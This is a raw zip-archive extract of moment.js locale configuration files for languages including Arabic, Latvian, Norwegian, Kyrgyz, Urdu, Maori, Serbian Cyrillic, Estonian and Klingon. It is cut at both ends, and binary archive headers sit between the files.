    'يوليو',
    'أغسطس',
    'سبتمبر',
    'أكتوبر',
    'نوفمبر',
    'ديسمبر'
];

export default moment.defineLocale('ar-ly', {
    months : months,
    monthsShort : months,
    weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
    weekdaysShort : 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'),
    weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'D/\u200FM/\u200FYYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    meridiemParse: /ص|م/,
    isPM : function (input) {
        return 'م' === input;
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'ص';
        } else {
            return 'م';
        }
    },
    calendar : {
        sameDay: '[اليوم عند الساعة] LT',
        nextDay: '[غدًا عند الساعة] LT',
        nextWeek: 'dddd [عند الساعة] LT',
        lastDay: '[أمس عند الساعة] LT',
        lastWeek: 'dddd [عند الساعة] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'بعد %s',
        past : 'منذ %s',
        s : pluralize('s'),
        ss : pluralize('s'),
        m : pluralize('m'),
        mm : pluralize('m'),
        h : pluralize('h'),
        hh : pluralize('h'),
        d : pluralize('d'),
        dd : pluralize('d'),
        M : pluralize('M'),
        MM : pluralize('M'),
        y : pluralize('y'),
        yy : pluralize('y')
    },
    preparse: function (string) {
        return string.replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        }).replace(/,/g, '،');
    },
    week : {
        dow : 6, // Saturday is the first day of the week.
        doy : 12  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\�:�z�
�
locale/lv.jsnu�[���//! moment.js locale configuration
//! locale : Latvian [lv]
//! author : Kristaps Karlsons : https://github.com/skakri
//! author : Jānis Elmeris : https://github.com/JanisE

import moment from '../moment';

var units = {
    'ss': 'sekundes_sekundēm_sekunde_sekundes'.split('_'),
    'm': 'minūtes_minūtēm_minūte_minūtes'.split('_'),
    'mm': 'minūtes_minūtēm_minūte_minūtes'.split('_'),
    'h': 'stundas_stundām_stunda_stundas'.split('_'),
    'hh': 'stundas_stundām_stunda_stundas'.split('_'),
    'd': 'dienas_dienām_diena_dienas'.split('_'),
    'dd': 'dienas_dienām_diena_dienas'.split('_'),
    'M': 'mēneša_mēnešiem_mēnesis_mēneši'.split('_'),
    'MM': 'mēneša_mēnešiem_mēnesis_mēneši'.split('_'),
    'y': 'gada_gadiem_gads_gadi'.split('_'),
    'yy': 'gada_gadiem_gads_gadi'.split('_')
};
/**
 * @param withoutSuffix boolean true = a length of time; false = before/after a period of time.
 */
function format(forms, number, withoutSuffix) {
    if (withoutSuffix) {
        // E.g. "21 minūte", "3 minūtes".
        return number % 10 === 1 && number % 100 !== 11 ? forms[2] : forms[3];
    } else {
        // E.g. "21 minūtes" as in "pēc 21 minūtes".
        // E.g. "3 minūtēm" as in "pēc 3 minūtēm".
        return number % 10 === 1 && number % 100 !== 11 ? forms[0] : forms[1];
    }
}
function relativeTimeWithPlural(number, withoutSuffix, key) {
    return number + ' ' + format(units[key], number, withoutSuffix);
}
function relativeTimeWithSingular(number, withoutSuffix, key) {
    return format(units[key], number, withoutSuffix);
}
function relativeSeconds(number, withoutSuffix) {
    return withoutSuffix ? 'dažas sekundes' : 'dažām sekundēm';
}

export default moment.defineLocale('lv', {
    months : 'janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris'.split('_'),
    monthsShort : 'jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec'.split('_'),
    weekdays : 'svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena'.split('_'),
    weekdaysShort : 'Sv_P_O_T_C_Pk_S'.split('_'),
    weekdaysMin : 'Sv_P_O_T_C_Pk_S'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY.',
        LL : 'YYYY. [gada] D. MMMM',
        LLL : 'YYYY. [gada] D. MMMM, HH:mm',
        LLLL : 'YYYY. [gada] D. MMMM, dddd, HH:mm'
    },
    calendar : {
        sameDay : '[Šodien pulksten] LT',
        nextDay : '[Rīt pulksten] LT',
        nextWeek : 'dddd [pulksten] LT',
        lastDay : '[Vakar pulksten] LT',
        lastWeek : '[Pagājušā] dddd [pulksten] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'pēc %s',
        past : 'pirms %s',
        s : relativeSeconds,
        ss : relativeTimeWithPlural,
        m : relativeTimeWithSingular,
        mm : relativeTimeWithPlural,
        h : relativeTimeWithSingular,
        hh : relativeTimeWithPlural,
        d : relativeTimeWithSingular,
        dd : relativeTimeWithPlural,
        M : relativeTimeWithSingular,
        MM : relativeTimeWithPlural,
        y : relativeTimeWithSingular,
        yy : relativeTimeWithPlural
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\~mG��locale/ar-dz.jsnu�[���//! moment.js locale configuration
//! locale : Arabic (Algeria) [ar-dz]
//! author : Noureddine LOUAHEDJ : https://github.com/noureddineme

import moment from '../moment';

export default moment.defineLocale('ar-dz', {
    months : 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'),
    monthsShort : 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'),
    weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
    weekdaysShort : 'احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت'.split('_'),
    weekdaysMin : 'أح_إث_ثلا_أر_خم_جم_سب'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[اليوم على الساعة] LT',
        nextDay: '[غدا على الساعة] LT',
        nextWeek: 'dddd [على الساعة] LT',
        lastDay: '[أمس على الساعة] LT',
        lastWeek: 'dddd [على الساعة] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'في %s',
        past : 'منذ %s',
        s : 'ثوان',
        ss : '%d ثانية',
        m : 'دقيقة',
        mm : '%d دقائق',
        h : 'ساعة',
        hh : '%d ساعات',
        d : 'يوم',
        dd : '%d أيام',
        M : 'شهر',
        MM : '%d أشهر',
        y : 'سنة',
        yy : '%d سنوات'
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 4  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\�Ȯ/>>locale/nb.jsnu�[���//! moment.js locale configuration
//! locale : Norwegian Bokmål [nb]
//! authors : Espen Hovlandsdal : https://github.com/rexxars
//!           Sigurd Gartmann : https://github.com/sigurdga

import moment from '../moment';

export default moment.defineLocale('nb', {
    months : 'januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember'.split('_'),
    monthsShort : 'jan._feb._mars_april_mai_juni_juli_aug._sep._okt._nov._des.'.split('_'),
    monthsParseExact : true,
    weekdays : 'søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag'.split('_'),
    weekdaysShort : 'sø._ma._ti._on._to._fr._lø.'.split('_'),
    weekdaysMin : 'sø_ma_ti_on_to_fr_lø'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY [kl.] HH:mm',
        LLLL : 'dddd D. MMMM YYYY [kl.] HH:mm'
    },
    calendar : {
        sameDay: '[i dag kl.] LT',
        nextDay: '[i morgen kl.] LT',
        nextWeek: 'dddd [kl.] LT',
        lastDay: '[i går kl.] LT',
        lastWeek: '[forrige] dddd [kl.] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'om %s',
        past : '%s siden',
        s : 'noen sekunder',
        ss : '%d sekunder',
        m : 'ett minutt',
        mm : '%d minutter',
        h : 'en time',
        hh : '%d timer',
        d : 'en dag',
        dd : '%d dager',
        M : 'en måned',
        MM : '%d måneder',
        y : 'ett år',
        yy : '%d år'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�/,�

locale/ky.jsnu�[���//! moment.js locale configuration
//! locale : Kyrgyz [ky]
//! author : Chyngyz Arystan uulu : https://github.com/chyngyz


import moment from '../moment';

var suffixes = {
    0: '-чү',
    1: '-чи',
    2: '-чи',
    3: '-чү',
    4: '-чү',
    5: '-чи',
    6: '-чы',
    7: '-чи',
    8: '-чи',
    9: '-чу',
    10: '-чу',
    20: '-чы',
    30: '-чу',
    40: '-чы',
    50: '-чү',
    60: '-чы',
    70: '-чи',
    80: '-чи',
    90: '-чу',
    100: '-чү'
};

export default moment.defineLocale('ky', {
    months : 'январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь'.split('_'),
    monthsShort : 'янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек'.split('_'),
    weekdays : 'Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби'.split('_'),
    weekdaysShort : 'Жек_Дүй_Шей_Шар_Бей_Жум_Ише'.split('_'),
    weekdaysMin : 'Жк_Дй_Шй_Шр_Бй_Жм_Иш'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Бүгүн саат] LT',
        nextDay : '[Эртең саат] LT',
        nextWeek : 'dddd [саат] LT',
        lastDay : '[Кече саат] LT',
        lastWeek : '[Өткен аптанын] dddd [күнү] [саат] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s ичинде',
        past : '%s мурун',
        s : 'бирнече секунд',
        ss : '%d секунд',
        m : 'бир мүнөт',
        mm : '%d мүнөт',
        h : 'бир саат',
        hh : '%d саат',
        d : 'бир күн',
        dd : '%d күн',
        M : 'бир ай',
        MM : '%d ай',
        y : 'бир жыл',
        yy : '%d жыл'
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(чи|чы|чү|чу)/,
    ordinal : function (number) {
        var a = number % 10,
            b = number >= 100 ? 100 : null;
        return number + (suffixes[number] || suffixes[a] || suffixes[b]);
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\�_�,��locale/ur.jsnu�[���//! moment.js locale configuration
//! locale : Urdu [ur]
//! author : Sawood Alam : https://github.com/ibnesayeed
//! author : Zack : https://github.com/ZackVision

import moment from '../moment';

var months = [
    'جنوری',
    'فروری',
    'مارچ',
    'اپریل',
    'مئی',
    'جون',
    'جولائی',
    'اگست',
    'ستمبر',
    'اکتوبر',
    'نومبر',
    'دسمبر'
];
var days = [
    'اتوار',
    'پیر',
    'منگل',
    'بدھ',
    'جمعرات',
    'جمعہ',
    'ہفتہ'
];

export default moment.defineLocale('ur', {
    months : months,
    monthsShort : months,
    weekdays : days,
    weekdaysShort : days,
    weekdaysMin : days,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd، D MMMM YYYY HH:mm'
    },
    meridiemParse: /صبح|شام/,
    isPM : function (input) {
        return 'شام' === input;
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'صبح';
        }
        return 'شام';
    },
    calendar : {
        sameDay : '[آج بوقت] LT',
        nextDay : '[کل بوقت] LT',
        nextWeek : 'dddd [بوقت] LT',
        lastDay : '[گذشتہ روز بوقت] LT',
        lastWeek : '[گذشتہ] dddd [بوقت] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s بعد',
        past : '%s قبل',
        s : 'چند سیکنڈ',
        ss : '%d سیکنڈ',
        m : 'ایک منٹ',
        mm : '%d منٹ',
        h : 'ایک گھنٹہ',
        hh : '%d گھنٹے',
        d : 'ایک دن',
        dd : '%d دن',
        M : 'ایک ماہ',
        MM : '%d ماہ',
        y : 'ایک سال',
        yy : '%d سال'
    },
    preparse: function (string) {
        return string.replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/,/g, '،');
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\W��
��locale/mi.jsnu�[���//! moment.js locale configuration
//! locale : Maori [mi]
//! author : John Corrigan <robbiecloset@gmail.com> : https://github.com/johnideal

import moment from '../moment';

export default moment.defineLocale('mi', {
    months: 'Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea'.split('_'),
    monthsShort: 'Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki'.split('_'),
    monthsRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,
    monthsStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,
    monthsShortRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,
    monthsShortStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i,
    weekdays: 'Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei'.split('_'),
    weekdaysShort: 'Ta_Ma_Tū_We_Tāi_Pa_Hā'.split('_'),
    weekdaysMin: 'Ta_Ma_Tū_We_Tāi_Pa_Hā'.split('_'),
    longDateFormat: {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L: 'DD/MM/YYYY',
        LL: 'D MMMM YYYY',
        LLL: 'D MMMM YYYY [i] HH:mm',
        LLLL: 'dddd, D MMMM YYYY [i] HH:mm'
    },
    calendar: {
        sameDay: '[i teie mahana, i] LT',
        nextDay: '[apopo i] LT',
        nextWeek: 'dddd [i] LT',
        lastDay: '[inanahi i] LT',
        lastWeek: 'dddd [whakamutunga i] LT',
        sameElse: 'L'
    },
    relativeTime: {
        future: 'i roto i %s',
        past: '%s i mua',
        s: 'te hēkona ruarua',
        ss: '%d hēkona',
        m: 'he meneti',
        mm: '%d meneti',
        h: 'te haora',
        hh: '%d haora',
        d: 'he ra',
        dd: '%d ra',
        M: 'he marama',
        MM: '%d marama',
        y: 'he tau',
        yy: '%d tau'
    },
    dayOfMonthOrdinalParse: /\d{1,2}º/,
    ordinal: '%dº',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\i�{��locale/en-ie.jsnu�[���//! moment.js locale configuration
//! locale : English (Ireland) [en-ie]
//! author : Chris Cartlidge : https://github.com/chriscartlidge

import moment from '../moment';

export default moment.defineLocale('en-ie', {
    months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'),
    weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'),
    weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'),
    weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD-MM-YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Today at] LT',
        nextDay : '[Tomorrow at] LT',
        nextWeek : 'dddd [at] LT',
        lastDay : '[Yesterday at] LT',
        lastWeek : '[Last] dddd [at] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'in %s',
        past : '%s ago',
        s : 'a few seconds',
        ss : '%d seconds',
        m : 'a minute',
        mm : '%d minutes',
        h : 'an hour',
        hh : '%d hours',
        d : 'a day',
        dd : '%d days',
        M : 'a month',
        MM : '%d months',
        y : 'a year',
        yy : '%d years'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\:խ2��locale/ar.jsnu�[���//! moment.js locale configuration
//! locale : Arabic [ar]
//! author : Abdel Said: https://github.com/abdelsaid
//! author : Ahmed Elkhatib
//! author : forabi https://github.com/forabi

import moment from '../moment';

var symbolMap = {
    '1': '١',
    '2': '٢',
    '3': '٣',
    '4': '٤',
    '5': '٥',
    '6': '٦',
    '7': '٧',
    '8': '٨',
    '9': '٩',
    '0': '٠'
}, numberMap = {
    '١': '1',
    '٢': '2',
    '٣': '3',
    '٤': '4',
    '٥': '5',
    '٦': '6',
    '٧': '7',
    '٨': '8',
    '٩': '9',
    '٠': '0'
}, pluralForm = function (n) {
    return n === 0 ? 0 : n === 1 ? 1 : n === 2 ? 2 : n % 100 >= 3 && n % 100 <= 10 ? 3 : n % 100 >= 11 ? 4 : 5;
}, plurals = {
    s : ['أقل من ثانية', 'ثانية واحدة', ['ثانيتان', 'ثانيتين'], '%d ثوان', '%d ثانية', '%d ثانية'],
    m : ['أقل من دقيقة', 'دقيقة واحدة', ['دقيقتان', 'دقيقتين'], '%d دقائق', '%d دقيقة', '%d دقيقة'],
    h : ['أقل من ساعة', 'ساعة واحدة', ['ساعتان', 'ساعتين'], '%d ساعات', '%d ساعة', '%d ساعة'],
    d : ['أقل من يوم', 'يوم واحد', ['يومان', 'يومين'], '%d أيام', '%d يومًا', '%d يوم'],
    M : ['أقل من شهر', 'شهر واحد', ['شهران', 'شهرين'], '%d أشهر', '%d شهرا', '%d شهر'],
    y : ['أقل من عام', 'عام واحد', ['عامان', 'عامين'], '%d أعوام', '%d عامًا', '%d عام']
}, pluralize = function (u) {
    return function (number, withoutSuffix, string, isFuture) {
        var f = pluralForm(number),
            str = plurals[u][pluralForm(number)];
        if (f === 2) {
            str = str[withoutSuffix ? 0 : 1];
        }
        return str.replace(/%d/i, number);
    };
}, months = [
    'يناير',
    'فبراير',
    'مارس',
    'أبريل',
    'مايو',
    'يونيو',
    'يوليو',
    'أغسطس',
    'سبتمبر',
    'أكتوبر',
    'نوفمبر',
    'ديسمبر'
];

export default moment.defineLocale('ar', {
    months : months,
    monthsShort : months,
    weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
    weekdaysShort : 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'),
    weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'D/\u200FM/\u200FYYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    meridiemParse: /ص|م/,
    isPM : function (input) {
        return 'م' === input;
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'ص';
        } else {
            return 'م';
        }
    },
    calendar : {
        sameDay: '[اليوم عند الساعة] LT',
        nextDay: '[غدًا عند الساعة] LT',
        nextWeek: 'dddd [عند الساعة] LT',
        lastDay: '[أمس عند الساعة] LT',
        lastWeek: 'dddd [عند الساعة] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'بعد %s',
        past : 'منذ %s',
        s : pluralize('s'),
        ss : pluralize('s'),
        m : pluralize('m'),
        mm : pluralize('m'),
        h : pluralize('h'),
        hh : pluralize('h'),
        d : pluralize('d'),
        dd : pluralize('d'),
        M : pluralize('M'),
        MM : pluralize('M'),
        y : pluralize('y'),
        yy : pluralize('y')
    },
    preparse: function (string) {
        return string.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (match) {
            return numberMap[match];
        }).replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        }).replace(/,/g, '،');
    },
    week : {
        dow : 6, // Saturday is the first day of the week.
        doy : 12  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\�Ī>>locale/sr-cyrl.jsnu�[���//! moment.js locale configuration
//! locale : Serbian Cyrillic [sr-cyrl]
//! author : Milan Janačković<milanjanackovic@gmail.com> : https://github.com/milan-j

import moment from '../moment';

var translator = {
    words: { //Different grammatical cases
        ss: ['секунда', 'секунде', 'секунди'],
        m: ['један минут', 'једне минуте'],
        mm: ['минут', 'минуте', 'минута'],
        h: ['један сат', 'једног сата'],
        hh: ['сат', 'сата', 'сати'],
        dd: ['дан', 'дана', 'дана'],
        MM: ['месец', 'месеца', 'месеци'],
        yy: ['година', 'године', 'година']
    },
    correctGrammaticalCase: function (number, wordKey) {
        return number === 1 ? wordKey[0] : (number >= 2 && number <= 4 ? wordKey[1] : wordKey[2]);
    },
    translate: function (number, withoutSuffix, key) {
        var wordKey = translator.words[key];
        if (key.length === 1) {
            return withoutSuffix ? wordKey[0] : wordKey[1];
        } else {
            return number + ' ' + translator.correctGrammaticalCase(number, wordKey);
        }
    }
};

export default moment.defineLocale('sr-cyrl', {
    months: 'јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар'.split('_'),
    monthsShort: 'јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.'.split('_'),
    monthsParseExact: true,
    weekdays: 'недеља_понедељак_уторак_среда_четвртак_петак_субота'.split('_'),
    weekdaysShort: 'нед._пон._уто._сре._чет._пет._суб.'.split('_'),
    weekdaysMin: 'не_по_ут_ср_че_пе_су'.split('_'),
    weekdaysParseExact : true,
    longDateFormat: {
        LT: 'H:mm',
        LTS : 'H:mm:ss',
        L: 'DD.MM.YYYY',
        LL: 'D. MMMM YYYY',
        LLL: 'D. MMMM YYYY H:mm',
        LLLL: 'dddd, D. MMMM YYYY H:mm'
    },
    calendar: {
        sameDay: '[данас у] LT',
        nextDay: '[сутра у] LT',
        nextWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[у] [недељу] [у] LT';
                case 3:
                    return '[у] [среду] [у] LT';
                case 6:
                    return '[у] [суботу] [у] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[у] dddd [у] LT';
            }
        },
        lastDay  : '[јуче у] LT',
        lastWeek : function () {
            var lastWeekDays = [
                '[прошле] [недеље] [у] LT',
                '[прошлог] [понедељка] [у] LT',
                '[прошлог] [уторка] [у] LT',
                '[прошле] [среде] [у] LT',
                '[прошлог] [четвртка] [у] LT',
                '[прошлог] [петка] [у] LT',
                '[прошле] [суботе] [у] LT'
            ];
            return lastWeekDays[this.day()];
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'за %s',
        past   : 'пре %s',
        s      : 'неколико секунди',
        ss     : translator.translate,
        m      : translator.translate,
        mm     : translator.translate,
        h      : translator.translate,
        hh     : translator.translate,
        d      : 'дан',
        dd     : translator.translate,
        M      : 'месец',
        MM     : translator.translate,
        y      : 'годину',
        yy     : translator.translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\B���
�
locale/et.jsnu�[���//! moment.js locale configuration
//! locale : Estonian [et]
//! author : Henry Kehlmann : https://github.com/madhenry
//! improvements : Illimar Tambek : https://github.com/ragulka

import moment from '../moment';

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var format = {
        's' : ['mõne sekundi', 'mõni sekund', 'paar sekundit'],
        'ss': [number + 'sekundi', number + 'sekundit'],
        'm' : ['ühe minuti', 'üks minut'],
        'mm': [number + ' minuti', number + ' minutit'],
        'h' : ['ühe tunni', 'tund aega', 'üks tund'],
        'hh': [number + ' tunni', number + ' tundi'],
        'd' : ['ühe päeva', 'üks päev'],
        'M' : ['kuu aja', 'kuu aega', 'üks kuu'],
        'MM': [number + ' kuu', number + ' kuud'],
        'y' : ['ühe aasta', 'aasta', 'üks aasta'],
        'yy': [number + ' aasta', number + ' aastat']
    };
    if (withoutSuffix) {
        return format[key][2] ? format[key][2] : format[key][1];
    }
    return isFuture ? format[key][0] : format[key][1];
}

export default moment.defineLocale('et', {
    months        : 'jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember'.split('_'),
    monthsShort   : 'jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets'.split('_'),
    weekdays      : 'pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev'.split('_'),
    weekdaysShort : 'P_E_T_K_N_R_L'.split('_'),
    weekdaysMin   : 'P_E_T_K_N_R_L'.split('_'),
    longDateFormat : {
        LT   : 'H:mm',
        LTS : 'H:mm:ss',
        L    : 'DD.MM.YYYY',
        LL   : 'D. MMMM YYYY',
        LLL  : 'D. MMMM YYYY H:mm',
        LLLL : 'dddd, D. MMMM YYYY H:mm'
    },
    calendar : {
        sameDay  : '[Täna,] LT',
        nextDay  : '[Homme,] LT',
        nextWeek : '[Järgmine] dddd LT',
        lastDay  : '[Eile,] LT',
        lastWeek : '[Eelmine] dddd LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s pärast',
        past   : '%s tagasi',
        s      : processRelativeTime,
        ss     : processRelativeTime,
        m      : processRelativeTime,
        mm     : processRelativeTime,
        h      : processRelativeTime,
        hh     : processRelativeTime,
        d      : processRelativeTime,
        dd     : '%d päeva',
        M      : processRelativeTime,
        MM     : processRelativeTime,
        y      : processRelativeTime,
        yy     : processRelativeTime
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\���
locale/tlh.jsnu�[���//! moment.js locale configuration
//! locale : Klingon [tlh]
//! author : Dominika Kruk : https://github.com/amaranthrose

import moment from '../moment';

var numbersNouns = 'pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut'.split('_');

function translateFuture(output) {
    var time = output;
    time = (output.indexOf('jaj') !== -1) ?
    time.slice(0, -3) + 'leS' :
    (output.indexOf('jar') !== -1) ?
    time.slice(0, -3) + 'waQ' :
    (output.indexOf('DIS') !== -1) ?
    time.slice(0, -3) + 'nem' :
    time + ' pIq';
    return time;
}

function translatePast(output) {
    var time = output;
    time = (output.indexOf('jaj') !== -1) ?
    time.slice(0, -3) + 'Hu’' :
    (output.indexOf('jar') !== -1) ?
    time.slice(0, -3) + 'wen' :
    (output.indexOf('DIS') !== -1) ?
    time.slice(0, -3) + 'ben' :
    time + ' ret';
    return time;
}

function translate(number, withoutSuffix, string, isFuture) {
    var numberNoun = numberAsNoun(number);
    switch (string) {
        case 'ss':
            return numberNoun + ' lup';
        case 'mm':
            return numberNoun + ' tup';
        case 'hh':
            return numberNoun + ' rep';
        case 'dd':
            return numberNoun + ' jaj';
        case 'MM':
            return numberNoun + ' jar';
        case 'yy':
            return numberNoun + ' DIS';
    }
}

function numberAsNoun(number) {
    var hundred = Math.floor((number % 1000) / 100),
    ten = Math.floor((number % 100) / 10),
    one = number % 10,
    word = '';
    if (hundred > 0) {
        word += numbersNouns[hundred] + 'vatlh';
    }
    if (ten > 0) {
        word += ((word !== '') ? ' ' : '') + numbersNouns[ten] + 'maH';
    }
    if (one > 0) {
        word += ((word !== '') ? ' ' : '') + numbersNouns[one];
    }
    return (word === '') ? 'pagh' : word;
}

export default moment.defineLocale('tlh', {
    months : 'tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’'.split('_'),
    monthsShort : 'jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’'.split('_'),
    monthsParseExact : true,
    weekdays : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'),
    weekdaysShort : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'),
